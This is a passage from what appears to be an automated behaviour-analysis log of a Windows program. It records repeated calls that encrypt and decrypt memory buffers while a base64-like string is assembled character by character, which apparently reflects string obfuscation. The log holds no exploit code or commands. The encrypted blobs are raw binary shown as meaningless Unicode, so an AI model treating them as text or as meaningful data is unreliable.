out: Memory=0x5c51c94) returned 0x0 [0256.208] SysStringLen (param_1="NDZlOD") returned 0x8 [0256.208] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.208] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0256.208] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0256.208] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.208] SysStringLen (param_1="NDZlODR") returned 0x8 [0256.208] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.208] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0256.208] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0256.208] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.208] SysStringLen (param_1="NDZlODRm") returned 0x8 [0256.208] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.209] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0256.209] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0256.209] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0256.209] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0256.210] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.210] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0256.210] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.210] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0256.210] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0256.210] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.210] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0256.210] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.210] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0256.210] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0256.210] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.210] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0256.210] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.211] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0256.211] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0256.211] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.211] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0256.211] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.211] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0256.211] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0256.211] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.211] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0256.211] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.211] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0256.211] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0256.211] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.212] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0256.212] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.212] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0256.212] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0256.212] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.212] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0256.212] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.212] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0256.212] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0256.212] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.212] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0256.212] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.213] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0256.213] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0256.213] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0256.213] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0256.213] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.213] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0256.213] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.214] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0256.214] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0256.214] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.214] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0256.214] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.214] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0256.214] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0256.214] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.214] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0256.214] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.214] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0256.214] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0256.214] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.215] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0256.215] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.215] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0256.215] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0256.215] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.215] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0256.215] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.215] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0256.215] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0256.215] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.215] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0256.215] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.215] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0256.216] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0256.216] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.216] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0256.216] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.216] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0256.216] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0256.216] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.216] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0256.216] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.216] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0256.216] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0256.216] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0256.217] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0256.217] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.217] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0256.217] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.217] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0256.217] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0256.217] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.217] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0256.217] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.218] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0256.218] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0256.218] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.218] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0256.218] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.218] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0256.218] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0256.218] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.218] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0256.218] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.218] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0256.218] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0256.218] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.218] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0256.219] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.219] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0256.219] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0256.219] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.219] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0256.219] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.219] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0256.219] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0256.219] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.219] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0256.219] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.220] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0256.220] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0256.220] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.220] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0256.220] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.221] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0256.221] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0256.221] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0256.221] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0256.221] SystemFunction041 (in: Memory=0x3afa4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afa4c) returned 0x0 [0256.221] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0256.221] SystemFunction040 (in: Memory=0x3afa4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afa4c) returned 0x0 [0256.222] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0256.222] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0256.222] SystemFunction041 (in: Memory=0x3afa4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afa4c) returned 0x0 [0256.222] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0256.222] SystemFunction040 (in: Memory=0x3afa4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afa4c) returned 0x0 [0256.222] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0256.222] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0256.222] SystemFunction041 (in: Memory=0x3afa4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afa4c) returned 0x0 [0256.222] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0256.222] SystemFunction040 (in: Memory=0x3afa4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afa4c) returned 0x0 [0256.222] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0256.222] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0256.222] SystemFunction041 (in: Memory=0x3afa4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afa4c) returned 0x0 [0256.223] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0256.223] SystemFunction040 (in: Memory=0x3afa4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afa4c) returned 0x0 [0256.223] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0256.223] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0256.223] SystemFunction041 (in: Memory=0x3afa4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afa4c) returned 0x0 [0256.223] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0256.223] SystemFunction040 (in: Memory=0x3afa4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afa4c) returned 0x0 [0256.223] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0256.223] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0256.223] SystemFunction041 (in: Memory=0x3afa4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afa4c) returned 0x0 [0256.223] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0256.223] SystemFunction040 (in: Memory=0x3afa4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afa4c) returned 0x0 [0256.223] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0256.224] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0256.224] SystemFunction041 (in: Memory=0x3afa4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afa4c) returned 0x0 [0256.224] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0256.224] SystemFunction040 (in: Memory=0x3afa4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afa4c) returned 0x0 [0256.224] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0256.224] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0256.224] SystemFunction041 (in: Memory=0x3afa4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afa4c) returned 0x0 [0256.224] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0256.224] SystemFunction040 (in: Memory=0x3afa4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afa4c) returned 0x0 [0256.224] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0256.224] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0256.225] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0256.225] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0256.225] SystemFunction041 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0256.225] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0256.225] SystemFunction040 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0256.225] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0256.225] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0256.225] SystemFunction041 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0256.225] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0256.225] SystemFunction040 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0256.226] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0256.226] SysStringLen 